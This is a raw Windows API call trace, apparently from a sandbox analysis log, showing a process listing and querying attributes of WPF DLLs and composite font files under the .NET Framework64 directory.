	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ef9db40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6300, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemCore.dll", cAlternateFileName="PR9D54~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5efe9e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemData.dll", cAlternateFileName="PR017B~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemDrawing.dll", cAlternateFileName="PR7DE9~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0a84e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXml.dll", cAlternateFileName="PR3E50~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5910, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXmlLinq.dll", cAlternateFileName="PRDB31~1.DLL")) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3cd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="PRESEN~2.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e795100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.AeroLite.dll", cAlternateFileName="PR3D8D~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="PRESEN~3.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ec0ba40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5ce970, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="PR81A8~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e8537e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x76788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="PRESEN~4.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5e89faa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x33190, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="PRBAF3~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f32fc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x386d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationHost_v0400.dll", cAlternateFileName="PRDE02~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f3ee320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1054e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationNative_v0400.dll", cAlternateFileName="PR8A07~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xce4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="PRC066~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8f158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="REACHF~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x594c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6183b2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa6950, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6ae7df60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb5f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Controls.Ribbon.dll", cAlternateFileName="SY9516~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b1c3da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x109a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Input.Manipulations.dll", cAlternateFileName="SYSTEM~3.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b210060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="SYSTEM~4.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b44b500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2b768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b4bd920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x581a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="UIAUTO~2.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b509be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc170, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="UIAUTO~3.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b52fd40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="UIAUTO~4.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b6f8dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x130548, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6b791340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19580, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="WINDOW~2.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b90e100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x20c6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpfgfx_v0400.dll", cAlternateFileName="WPFGFX~1.DLL")) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.481] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x126e7d18 | out: lpFileInformation=0x126e7d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.483] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.483] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x65b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalMonospace.CompositeFont", cAlternateFileName="GLOBAL~1.COM")) returned 1
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x6779, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalSansSerif.CompositeFont", cAlternateFileName="GLOBAL~2.COM")) returned 1
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x7453, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalSerif.CompositeFont", cAlternateFileName="GLOBAL~3.COM")) returned 1
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2d100, ftCreationTime.dwHighDateTime=0x1cd433d, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x72b2d100, ftLastWriteTime.dwHighDateTime=0x1cd433d, nFileSizeHigh=0x0, nFileSizeLow=0xda3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalUserInterface.CompositeFont", cAlternateFileName="GLOBAL~4.COM")) returned 1
	[0088.485] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.485] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\GlobalMonospace.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts\\globalmonospace.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x126e7ea8 | out: lpFileInformation=0x126e7ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x65b8)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\GlobalSansSerif.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts\\globalsansserif.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x126e7ef8 | out: lpFileInformation=0x126e7ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x6779)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\GlobalSerif.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts\\globalserif.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x126e7f48 | out: lpFileInformation=0x126e7f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d154900, ftCreationTime.dwHighDateTime=0x1ca29a3, ftLastAccessTime.dwLowDateTime=0x8abdb760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x6d154900, ftLastWriteTime.dwHighDateTime=0x1ca29a3, nFileSizeHigh=0x0, nFileSizeLow=0x7453)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\GlobalUserInterface.CompositeFont" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\fonts\\globaluserinterface.compositefont"), fInfoLevelId=0x0, lpFileInformation=0x126e7f98 | out: lpFileInformation=0x126e7f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2d100, ftCreationTime.dwHighDateTime=0x1cd433d, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x72b2d100, ftLastWriteTime.dwHighDateTime=0x1cd433d, nFileSizeHigh=0x0, nFileSizeLow=0xda3b)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\NaturalLanguage6.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\naturallanguage6.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0008 | out: lpFileInformation=0x125e0008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d4b0260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\NlsData0009.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\nlsdata0009.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e0058 | out: lpFileInformation=0x125e0058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d7a9de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
	[0088.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\NlsLexicons0009.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\wpf\\nlslexicons0009.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e00a8 | out: lpFileInformation=0x125e00a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d7f60a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x44a8)) returned 1
